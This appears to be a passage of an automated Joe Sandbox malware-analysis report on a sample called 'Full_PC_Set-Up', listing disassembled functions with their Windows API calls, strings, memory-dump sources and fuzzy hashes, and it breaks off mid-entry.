Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$Window_memset
String ID: o
API String ID: 4157642136-252678980
Opcode ID: fafcec9971791adc3985ffd5814f45b76f409c69881a3c27bc2c7adc925246d2
Instruction ID: 7f83e3f1985440e718a0f2f56f6e61a81a902e1d981c73e2c3bb9b5cb2d63f9b
Opcode Fuzzy Hash: fafcec9971791adc3985ffd5814f45b76f409c69881a3c27bc2c7adc925246d2
Instruction Fuzzy Hash: 95617A71214306AFD714EF68C880B6BB7E9BF88754F104A2CFA55DB291DBB1E805CB51

Function 004AB26D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004AB2FD

Part of subcall function 004AD0D0: __87except.LIBCMT ref: 004AD10B

Strings

pow, xrefs: 004AB2D5, 004AB2F2

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: fbe04fc661e0e243d195e8ff184e0970adf3a07bfb41dfea6a3971885adde601
Instruction ID: 15ec542d2f9d9cf2b0bbec80a2bf611e7fc9d3ae6b5fe26f21a318b52bbbdc88
Opcode Fuzzy Hash: fbe04fc661e0e243d195e8ff184e0970adf3a07bfb41dfea6a3971885adde601
Instruction Fuzzy Hash: 18512A71E0820196DB116714C90176B2B94EB73710F208D9FE8D2467AAEB3DCC95D78E

Function 003039D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00303B0C
SHGetFileInfoW.SHELL32(?,00000080,?,000002B4,00004011), ref: 00303B30

Part of subcall function 0036E31E: SendMessageW.USER32(?,0000113F,00000000,?), ref: 0036E364

Strings

File.%s, xrefs: 00303AFD
<, xrefs: 00303BD8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FileInfoMessageSendswprintf
String ID: <$File.%s
API String ID: 3042097385-403067875
Opcode ID: 1ed723a66942a8b9f3ba1a3ac36d65c853d7ada0d1018030609274e49ee2beda
Instruction ID: c4cb9b9c1f71145aa992b7a819f3b36afe014ccd1684e39b19430ef4359b749a
Opcode Fuzzy Hash: 1ed723a66942a8b9f3ba1a3ac36d65c853d7ada0d1018030609274e49ee2beda
Instruction Fuzzy Hash: CF5161716053019FC728DF68C855A6BB7E9EFC8310F15896DE988CB385EA30E905CB96

Function 003A6E60 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,00000018,?), ref: 003A6E79
GetObjectW.GDI32(?,00000018,?), ref: 003A6E8F
GetObjectW.GDI32(?,00000018,?), ref: 003A6EA5

Strings

, xrefs: 003A6EE1

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object
String ID:
API String ID: 2936123098-3916222277
Opcode ID: 8a82977192a4a2d4a8a1e9d3ad6b2d0302a90ff39a6e506fb8a1a63ee577d7b5
Instruction ID: 430699153be878a6a31b639a6d863f8938cec5c6603c1ff85dc4fd33222299ff
Opcode Fuzzy Hash: 8a82977192a4a2d4a8a1e9d3ad6b2d0302a90ff39a6e506fb8a1a63ee577d7b5
Instruction Fuzzy Hash: E551E4316083518FC725CF29C89066BBBE5EFC9704F098A2EF9948B351D635D949CB92

Function 004B36B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004B3719
_memset.LIBCMT ref: 004B37DA
task.LIBCPMTD ref: 004B386A

Strings

|9K, xrefs: 004B3821, 004B3824

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __aulldiv_memsettask
String ID: |9K
API String ID: 92174895-1293966724
Opcode ID: 7e411d65bc102e9e0893c17e816c837922ec325a0a1e7cbba115d493b07bc098
Instruction ID: 787adaea71c50753c39fb6c0dfe6c76c9cc12e4a703bfcd22336ae421e5537d7
Opcode Fuzzy Hash: 7e411d65bc102e9e0893c17e816c837922ec325a0a1e7cbba115d493b07bc098
Instruction Fuzzy Hash: 1E5108B1E00118EBCB08DF99DD91AEEB7B5FF48304F10851AF515AB381DB74AA05CBA5

Function 002F4360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F43AD
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 002F43BB
_wcsrchr.LIBCMT ref: 002F43E4

Part of subcall function 00375B1B: __EH_prolog3_catch_GS.LIBCMT ref: 00375B25

Strings

\, xrefs: 002F4435

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FromH_prolog3_catch_ListPath_memset_wcsrchr
String ID: \
API String ID: 3441896190-2967466578
Opcode ID: cd826fd8a5491bc03a06923907a6dcabc5c6decbeeadb0ef4850345367be71bf
Instruction ID: 17046b9c48566a1dcb9d8a0035a151722f788326a5025e244a115a9a5c4095d5
Opcode Fuzzy Hash: cd826fd8a5491bc03a06923907a6dcabc5c6decbeeadb0ef4850345367be71bf
Instruction Fuzzy Hash: 5751D3712147419FD324EF28D849B6BB3E4BF94324F144A2CF559971D1EBB4A908CB52

Function 0030CFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0030D057

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

CreateDirectoryW.KERNEL32(?,00000000), ref: 0030D066

Part of subcall function 0030D140: GetLastError.KERNEL32(?,?,?), ref: 0030D165
Part of subcall function 0030D140: swprintf.LIBCMT ref: 0030D17F
Part of subcall function 0030D140: CreateDirectoryW.KERNEL32(?,00000000), ref: 0030D18F

Strings

%s\%s, xrefs: 0030D048
recover file fail, :%s, xrefs: 0030D0FE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateDirectoryswprintf$ErrorLast__vswprintf_s_l
String ID: %s\%s$recover file fail, :%s
API String ID: 2046016126-330166917
Opcode ID: 6bff71c287a1fa54c64aee3f8855dc15a4d87e02ecbb4c044c1a69c37bea7e69
Instruction ID: 739d433369aa7f8c58aad0bb3b36bc448ae9e0d080d942f0d37ea393642ff433
Opcode Fuzzy Hash: 6bff71c287a1fa54c64aee3f8855dc15a4d87e02ecbb4c044c1a69c37bea7e69
Instruction Fuzzy Hash: FF414C753053019BC225EF99D8A1A6BB7E9FFC8700F15891CE98997381DA31ED06CB92

Function 004B3400 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 003431A0: List.LIBCMTD ref: 003431AA

task.LIBCPMTD ref: 004B34CC

Part of subcall function 0030FD40: _memset.LIBCMT ref: 0030FD6F
Part of subcall function 0030FD40: _memset.LIBCMT ref: 0030FD94
Part of subcall function 0030FD40: LoadLibraryW.KERNEL32 ref: 0030FDA9
Part of subcall function 0030FD40: GetProcAddress.KERNEL32(00000000,GetVolumePathNamesForVolumeNameW), ref: 0030FDBB
Part of subcall function 0030FD40: FreeLibrary.KERNEL32(00000000), ref: 0030FDDF

task.LIBCPMTD ref: 004B352E

Strings

GEK, xrefs: 004B341C, 004B3533
GEK, xrefs: 004B3506

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Library_memsettask$AddressFreeListLoadProc
String ID: GEK$GEK
API String ID: 2439319305-1525933690
Opcode ID: a4ff55e078773441e3b3787a2dd1a4d0facc17780069879403019c58c3aa92a3
Instruction ID: 48a9267679df22d46d16f4795b1d5e2f40a88e72c53e59beaae684815d9857cb
Opcode Fuzzy Hash: a4ff55e078773441e3b3787a2dd1a4d0facc17780069879403019c58c3aa92a3
Instruction Fuzzy Hash: 13418274905208EFCB19DF95D891EEEB7B0FF18310F14416AE416AB391DB34AA05CFA5

Function 00323220 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0032326D
_memcmp.LIBCMT ref: 003232B9

Strings

II*, xrefs: 003232AD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp_memset
String ID: II*
API String ID: 433756748-2047496903
Opcode ID: 5ca2a9c6ef2f7f8a195d47dbb1c21a1c0d220dbd81a9fd007923965617081547
Instruction ID: 46c77e4d60170ec0da8d508e8185aa76eef456e3d25916ca5af8594cd1c67dce
Opcode Fuzzy Hash: 5ca2a9c6ef2f7f8a195d47dbb1c21a1c0d220dbd81a9fd007923965617081547
Instruction Fuzzy Hash: 4F31B875640218BBD715DF54DC41FEA7778EB48700F1041A9F9099B281DB74AF45CB90

Function 00367569 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMT ref: 003675B6

Part of subcall function 00383704: __vsnwprintf_s_l.LIBCMT ref: 0038371B

__snwprintf_s.LIBCMT ref: 003675E8

Part of subcall function 00388F2E: __getptd_noexit.LIBCMT ref: 00388F2E

Strings

Afx:%p:%x:%p:%p:%p, xrefs: 003675DE
Afx:%p:%x, xrefs: 003675AC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __snwprintf_s$__getptd_noexit__vsnwprintf_s_l
String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
API String ID: 1951015-2801496823
Opcode ID: a5732d4d7a1403d441b4773aad2f6f29b11de62141efa11b53d055bb90b66025
Instruction ID: d294496d5504ba61db27a04d671a7102a2ec75376f2e5f410b923b55adb3fafa
Opcode Fuzzy Hash: a5732d4d7a1403d441b4773aad2f6f29b11de62141efa11b53d055bb90b66025
Instruction Fuzzy Hash: 6C3182B5D00708AFCB13EFA9D84199EBBF5EF49310F518066FA04AB256D7308A50CF61

Function 003222F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0032230D
_memcmp.LIBCMT ref: 0032238F

Strings

II*, xrefs: 00322308
II*, xrefs: 0032238A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: II*$II*
API String ID: 2931989736-1170354281
Opcode ID: bc1b8e9bac7b89a5276a61293e25aa7e078fc8d00dc86a13377be4ae285919bb
Instruction ID: ad54a278241dd3dde9616f0e21e9073d732e47717ea88c7fa5be9290401f6d65
Opcode Fuzzy Hash: bc1b8e9bac7b89a5276a61293e25aa7e078fc8d00dc86a13377be4ae285919bb
Instruction Fuzzy Hash: C7319E78A00259FFCB15CB54ED45ABFBBB5EB00350F25C558EA055B281D774EE80DB90

Function 002AF210 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 002AD0D0: _memset.LIBCMT ref: 002AD0EA
Part of subcall function 002AD0D0: CreateFontIndirectW.GDI32(?), ref: 002AD122

CreateCompatibleDC.GDI32(00000000), ref: 002AF285

Part of subcall function 0036C21D: SelectObject.GDI32(?,00000000), ref: 0036C243
Part of subcall function 0036C21D: SelectObject.GDI32(?,?), ref: 0036C259

GetCharWidthW.GDI32(?,0000004D,0000004D,?,?,00000000), ref: 002AF2AC
LoadCursorW.USER32(00000000,00007F00), ref: 002AF2BD

Part of subcall function 00367569: __snwprintf_s.LIBCMT ref: 003675B6

Part of subcall function 0036BE8F: DeleteDC.GDI32(00000000), ref: 0036BEA1

Strings

Courier New, xrefs: 002AF23F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateObjectSelect$CharCompatibleCursorDeleteFontIndirectLoadWidth__snwprintf_s_memset
String ID: Courier New
API String ID: 268428994-2572734833
Opcode ID: f06b4b00192ef7f88ff6e49eed4485258f2ed52abef1fb5475ea9f0d035003bc
Instruction ID: dd0859175f5e270315e23b68bd2fb63e141e6ceb7c6ff15614374bf12395fb2e
Opcode Fuzzy Hash: f06b4b00192ef7f88ff6e49eed4485258f2ed52abef1fb5475ea9f0d035003bc
Instruction Fuzzy Hash: 06318671244301AFE305DF50DC82F6BB3E4FB48B14F10492DF6459B2C1DB75A9148B96

Function 00314190 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 003146A0: _vswprintf_s.LIBCMT ref: 003146B4

_wcscat.LIBCMT ref: 003141FF
__fassign.LIBCMT ref: 0031421A

Part of subcall function 003877E7: __wcstombs_l_helper.LIBCMT ref: 003877F7

_strlen.LIBCMT ref: 00314229

Strings

DefaultLog.log, xrefs: 003141B4

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __fassign__wcstombs_l_helper_strlen_vswprintf_s_wcscat
String ID: DefaultLog.log
API String ID: 2967645573-803351411
Opcode ID: 405e2c75a580236267e7fc199a3df4a51f0e0a22bbe8cfe72d72c776b2730456
